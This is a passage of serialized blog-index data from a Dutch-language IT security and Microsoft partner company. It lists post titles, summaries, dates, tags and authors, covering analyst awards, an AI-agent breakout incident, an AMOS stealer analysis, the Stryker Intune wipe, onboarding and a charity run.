Process Services. Twee jaar na de markttoetreding in Bern, een jaar na de Rising-Star-onderscheiding.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1489,1490],{"id":1505,"title":1506,"author":1507,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1508,"moment":1509,"path":1513,"stem":1514,"tags":1515,"webcast":484},"content_nl/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Wat het OpenAI/Hugging-Face-incident verraadt en wat niet",[1251],{"lang":1041,"date":1509,"categories":1510,"blogtitlepic":1511,"customExcerpt":1512},"2026-07-24",[235],"head-outbreak.jpg","Een AI-agent breekt uit zijn testomgeving, vindt een zero-day en hackt een ander bedrijf. Klinkt als een scenario, maar is in juli 2026 daadwerkelijk gebeurd. Tijd voor een nuchtere plaatsbepaling: met wat psychologie, twee securityveteranen en de vraag wat dit voor jullie verdediging betekent.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1516,1083,1473],"AI",{"id":1518,"title":1519,"author":1520,"cta":494,"description":1521,"hideInRecent":484,"layout":1039,"meta":1522,"moment":1523,"path":1527,"stem":1528,"tags":1529,"webcast":484},"content_nl/posts/2026-07-22-isg-cybersecurity-2026.md","Leader en Rising Star. glueckkanja in de ISG Cybersecurity-studie 2026",[1277],"Nieuw in het kwadrant en meteen Leader: de ISG Provider Lens®-studie \"Cybersecurity – Services and Solutions 2026\" positioneert glueckkanja als Leader op het gebied van Next-Gen SOC/MDR Services voor de Duitse midmarket. In de totale markt voor Next-Gen SOC/MDR Services onderscheidt ISG ons als Rising Star, dus als de aanbieder van wie de analisten de sprong naar het Leader-kwadrant binnen de komende 12 tot 24 maanden verwachten.",{"lang":1041,"date":1523,"categories":1524,"blogtitlepic":1525,"customExcerpt":1526},"2026-07-22",[1483],"head-isg-cybersecurity-2026.png","De ISG Provider Lens®-studie Cybersecurity 2026 onderscheidt glueckkanja als Leader in het kwadrant Next-Gen SOC/MDR Services (Midmarket). In de totale markt voor Next-Gen SOC/MDR Services zijn we Rising Star. ISG schrijft ons bovengemiddelde groei toe, diepgaande Microsoft-securityexpertise en een 24/7 SOC vanuit Duitsland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1489,1490,235],{"id":1531,"title":1532,"author":1533,"cta":494,"description":1534,"hideInRecent":484,"layout":1039,"meta":1535,"moment":1536,"path":1539,"stem":1540,"tags":1541,"webcast":484},"content_nl/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: wat AI echt nodig heeft om te werken",[1277],"Een productiebedrijf wil weten welke van zijn 14.000 SKU's daadwerkelijk winstgevend zijn. Het antwoord ligt in drie systemen die nog nooit één enkel datapunt met elkaar hebben uitgewisseld. Tot voor kort kostte het drie afdelingen, twee weken en de nodige goede wil om dat antwoord te krijgen. Sinds begin 2026 kan een AI die vraag in minuten beantwoorden: de data doorzoeken, verbanden leggen, een aanbeveling produceren. Op voorwaarde dat ze toegang heeft.",{"lang":1041,"date":1536,"categories":1537,"blogtitlepic":1538},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1516,131],{"id":1543,"title":1544,"author":1545,"cta":494,"description":1546,"hideInRecent":484,"layout":1039,"meta":1547,"moment":1548,"path":1552,"stem":1553,"tags":1554,"webcast":484},"content_nl/posts/2026-07-01-onboarding-process.md","Contract ondertekend: zo verloopt jouw onboarding bij ons",[1368],"Hoe verloopt jullie onboarding eigenlijk? Een vraag die we in gesprekken met sollicitanten steeds opnieuw tegenkomen, want velen hebben al eens meegemaakt dat een onboarding hobbelig verloopt. Des te belangrijker is het voor ons om je vanaf het begin een goed gevoel te geven.",{"lang":1041,"date":1548,"categories":1549,"blogtitlepic":1550,"customExcerpt":1551},"2026-07-01",[1483],"Onboarding_Blogheader","Het contract is ondertekend, de eerste grote stap is gezet. Maar hoe gaat het nu verder? We nemen je mee achter de schermen van onze onboarding, van het PreBoarding tot de eerste week in het team.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1555,1556,1557],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1559,"title":1560,"author":1561,"cta":494,"description":1562,"hideInRecent":484,"layout":1039,"meta":1563,"moment":1564,"path":1568,"stem":1569,"tags":1570,"webcast":484},"content_nl/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: wij horen erbij",[1277],"In het Microsoft-partnerecosysteem bestaat een hele reeks erkenningen, en toch onderscheidt de Frontier Partner Badge zich in opzet van de andere onderscheidingen. Je kunt hem niet aanvragen, want Microsoft kent hem op eigen initiatief toe aan een exclusieve groep partners die in meerdere disciplines tegelijk moeten overtuigen in plaats van in één enkele te schitteren. Microsoft toetst daarbij aangetoonde competentie in Cloud & AI Platforms, in AI Business Solutions en in Security in gelijke mate en richt zich daarmee op organisaties die AI niet zien als opzetstuk op bestaande IT, maar als resultaat van een doorlopende architectuur die van identiteit via endpoint tot in productieve AI-operations draagt.",{"lang":1041,"date":1564,"categories":1565,"blogtitlepic":1566,"customExcerpt":1567},"2026-06-26",[1483],"head-frontier-partner-badge.jpg","Sinds kort bestaat er binnen het Microsoft AI Cloud Partner Program een nieuwe toponderscheiding, de Frontier Partner Badge. Microsoft kent die uitsluitend toe aan een exclusieve groep partners wereldwijd die AI-projecten op de volledige Microsoft-stack draagkrachtig leveren, van de workplace via het cloudplatform en security tot in de AI-toepassing zelf, en die dat in de praktijk hebben aangetoond. In de DACH-regio telt die groep slechts een handvol bedrijven, en wij zijn er een van.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1489,1571,1516],"Microsoft Partner",{"id":1573,"title":1574,"author":1575,"cta":494,"description":1576,"hideInRecent":484,"layout":1039,"meta":1577,"moment":1578,"path":1582,"stem":1583,"tags":1584,"webcast":484},"content_nl/posts/2026-06-09-vair-run.md","160 kilometer voor het goede doel",[1375],"Zondagochtend, 8:30 uur, Holbeinsteg aan de Main. Elf collega's in dezelfde NinjaCat-shirts, klaar voor de Frankfurter Runden. Regen, bliksem en donder inbegrepen. Voor een goed doel lopen was motivatie genoeg om ondanks het slechte weer de hardloopschoenen aan te trekken.",{"lang":1041,"date":1578,"categories":1579,"blogtitlepic":1580,"customExcerpt":1581},"2026-06-08",[1483],"frankfurter-runden.png","Elf collega's, 16 rondes, 160 kilometer, een onweersfront en een podiumplek: glueckkanja deed mee aan de Frankfurter Runden 2026 en doneerde voor elke gelopen ronde aan VAIR e.V., die in Offenbach een inclusief sport- en cultuurpark bouwt.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1585,1555,1586],"Top Arbeitgeber","Soziales Engagement",{"id":1588,"title":1589,"author":1590,"cta":494,"description":1591,"hideInRecent":484,"layout":1039,"meta":1592,"moment":1593,"path":1597,"stem":1598,"tags":1599,"webcast":484},"content_nl/posts/2026-04-10-incident-to-intelligence.md","Anatomie van een onbekende AMOS Stealer: van alert naar immuniteit in enkele uren",[1356],"Wanneer in ons SOC een alert afgaat, begint de klok te lopen: niet alleen voor de getroffen klant, maar voor alle organisaties onder onze bescherming. Het gevaarlijkste moment in het huidige dreigingslandschap is de intelligence gap, het tijdvenster tussen de eerste inzet van een nieuwe malwarevariant en de dag waarop de branche daarvan hoort.",{"lang":1041,"date":1593,"categories":1594,"blogtitlepic":1595,"customExcerpt":1596},"2026-04-10",[235],"head-amos-stealer.png","Een tot dan toe ongedocumenteerde AMOS-stealervariant compromitteerde een macOS-endpoint. Geen bekende hashes, geen C2-gegevens in openbare databases. Ons SOC haalde zes obfuscatielagen uit elkaar, extraheerde alle indicatoren en verdeelde de bescherming binnen enkele uren over alle SOC-klanten, nog voordat de branche het sample had gezien.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1600,1601,1602,1603,1604],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1606,"title":1607,"author":1608,"cta":494,"description":1609,"hideInRecent":484,"layout":1039,"meta":1610,"moment":1611,"path":1614,"stem":1615,"tags":494,"webcast":484},"content_nl/posts/2026-03-21-microsoft-edge-corporate-browser.md","Waarom Edge jullie enige corporate browser zou moeten zijn",[1147],"De keuze van de browser is in bedrijfsomgevingen een strategische beslissing: die bepaalt direct hoeveel security en hoeveel beheerlast je werkelijk hebt. Google Chrome was lang de voor de hand liggende optie, maar Microsoft Edge is uitgegroeid tot een browser die direct ingrijpt op de bestaande stack, vooral wanneer Microsoft 365 in gebruik is en het beheer via Intune loopt.",{"lang":1041,"date":1611,"blogtitlepic":1612,"customExcerpt":1613},"2026-03-21","head-microsoft-edge-default-browser.jpg","Geen enkele organisatie heeft Chrome echt gekozen; hij was er simpelweg, met eigen sync-logica, eigen accountbeheer en een eigen interface voor policies. Microsoft Edge grijpt daarentegen direct in op de infrastructuur die toch al draait: Entra ID, Intune, Defender. Deze post laat zien hoe de overstap eruitziet, hoe Chrome via een Intune-policy naar een landingpage wordt omgeleid en wat er wegvalt zodra je stopt met het parallel beheren van twee browsers.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1617,"title":1618,"author":1619,"cta":494,"description":1620,"hideInRecent":484,"layout":1039,"meta":1621,"moment":1622,"path":1626,"stem":1627,"tags":1628,"webcast":484},"content_nl/posts/2026-03-20-stryker-attack-intune-privilege.md","Eén adminaccount was alles wat er nodig was.",[1251],"Woensdag 11 maart 2026. Medewerkers in Stryker-kantoren in 79 landen zetten hun computers aan en vonden ze leeg. Inlogschermen vervangen door een logo. Bedrijfslaptops, zakelijke telefoons, privéapparaten die in het BYOD-programma van het bedrijf waren geregistreerd, allemaal gelijktijdig gewist, in één nacht. Geen ransomware, geen malwaresignaturen, niets wat een endpoint-detectietool had kunnen opmerken.",{"lang":1041,"date":1622,"categories":1623,"blogtitlepic":1624,"customExcerpt":1625},"2026-03-20",[235],"head-stryker.jpg","Op 11 maart 2026 wiste Handala apparaten in 79 landen, en alles wat daarvoor nodig was, was één gecompromitteerd Intune-adminaccount. Geen malware, geen exploit, alleen legitieme managementtools die tegen hun eigenaars werden gericht. Wat er is gebeurd, waarom het werkte en welke twee architectonische gaten gedicht moeten worden.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,1472,1473],{"id":1630,"title":1631,"author":1632,"cta":494,"description":1633,"hideInRecent":484,"layout":1039,"meta":1634,"moment":1635,"path":1639,"stem":1640,"tags":1641,"webcast":484},"content_nl/posts/2026-03-16-ai-agent-hackathon.md","Zes agents. Vier weken. Echt in productie.",[1277],"Hoeveel uur per week besteedt jullie IT-afdeling aan taken die een agent in minuten afhandelt?",{"lang":1041,"date":1635,"categories":1636,"blogtitlepic":1637,"customExcerpt":1638},"2026-03-16",[1483],"head-ai-agent-hackathon.jpg","Zes bedrijven, vier weken build-fase, zes werkende AI agents: dat was de eerste glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa en lila logistik hebben in Copilot Studio agents gebouwd die vandaag productief lopen. Wat daarbij ontstond en hoe het format werkt.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1516,1642,1643,1644],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1646,"Fritz Zurhorst":1647,"Nadine Klein":1648,"Jan Geisbauer":1649,"Carolin Kanja":1653,"Anna Ulbricht":1654,"Annette Brauns":1655,"Pascal Asch":1656,"Steffen Schwerdtfeger":1657},{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1119,"linkedin":1120,"imageOffsetTop":1121,"imageOffsetLeft":1122},{"display_name":523,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},{"display_name":524,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},{"display_name":1251,"avatar":1252,"permalink":1253,"twitter":1254,"linkedin":1254,"imageOffsetTop":1095,"socials":1650},[1651,1652],{"text":472,"href":1257},{"text":1259,"href":1260},{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1280,"linkedin":1281},{"display_name":1368,"avatar":1369,"permalink":1370,"linkedin":1371,"imageOffsetTop":1372,"imageOffsetLeft":1373},{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1379,"imageOffsetLeft":1121},{"display_name":1356,"avatar":1357,"permalink":1358,"linkedin":1359,"imageOffsetTop":1194},{"display_name":1147,"avatar":1148,"permalink":1149,"linkedin":1150,"twitter":1151,"imageOffsetTop":1152,"imageOffsetLeft":1153},{"id":1087,"extension":1088,"meta":1659,"stem":8,"__hash__":1437},{"Fritz Zurhorst":1660,"Nadine Klein":1661},{"display_name":523,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},{"display_name":524,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},1791383944059]